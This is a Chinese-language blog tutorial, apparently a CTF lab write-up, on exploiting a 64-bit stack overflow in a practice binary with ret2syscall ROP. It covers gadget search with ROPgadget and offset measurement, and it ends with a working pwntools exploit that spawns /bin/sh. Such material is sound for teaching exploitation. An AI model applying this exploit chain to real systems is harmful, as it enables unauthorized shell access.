PWN基础-ROP技术-ret2syscall-64位程序栈溢出利用

发布于:2025-05-09 ⋅ 阅读:(64) ⋅ 点赞:(0)

前置 ret2syscall 的基础我们就不做过多讲解了

利用思路与 32 位类似,只是传参的寄存器是:

rdi -> rsi -> rdx -> rcx -> r8 -> r9

我们这里只用到前三个就可以了,以及 rax

还有一个区别就是:

32 位系统调用最后是执行 int x080

而 64 位系统调用最后是执行 syscall

检查一下,64 位程序,开启 NX 保护:

ida 看一下 main 函数,存在明显的栈溢出

先找 pop rax;ret

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rax"

记录地址:

pop_rax = 0x46b9f8

接着我们找另外三个寄存器:

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rdi" | grep "rsi" | grep "rdx"

没找到连续的,那么我们就分开来:

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rsi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdx ; ret"

看到有两个连一起的,当然我们也可以一个一个地传参

把地址都记录下:

pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
pop_rdx_rsi = 0x4377f9

找 syscall

ROPgadget --binary ret2sys_64 | grep syscall

这里看到的这个不对,因为后面没有 ret

正确的应该是 0x45BAC5

syscall = 0x45bac5

我们看一下 64 位的系统调用号:

read 系统调用号是 0

execve 系统调用号是 59,也就是 0x3b

我们先测一下偏移:

cyclic -l 0x616161616161616c

拿到偏移: 

offset = 88

 找一下可以写入的 bss 段地址:

bss_addr = 0x6c2000

至此,我们就可以写 exp 了:

# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./ret2sys_64")

pop_rax = 0x46b9f8
pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
offset = 88
bss_addr = 0x6c2000
syscall = 0x45bac5
ret_addr = 0x400739

payload = cyclic(offset)+p64(pop_rax)+p64(0x0)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi)+p64(bss_addr)
payload += p64(pop_rdx)+p64(0x20)
payload += p64(syscall)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(bss_addr)
payload += p64(pop_rsi)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)

io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()

没有问题,可以打通 

也可以将 pop_rdx_rsi = 0x4377f9 用上

后面传两个参数就可以了,分开写,一起写都可以的,这里就不做过多演示了


网站公告

今日签到

点亮在社区的每一天
去签到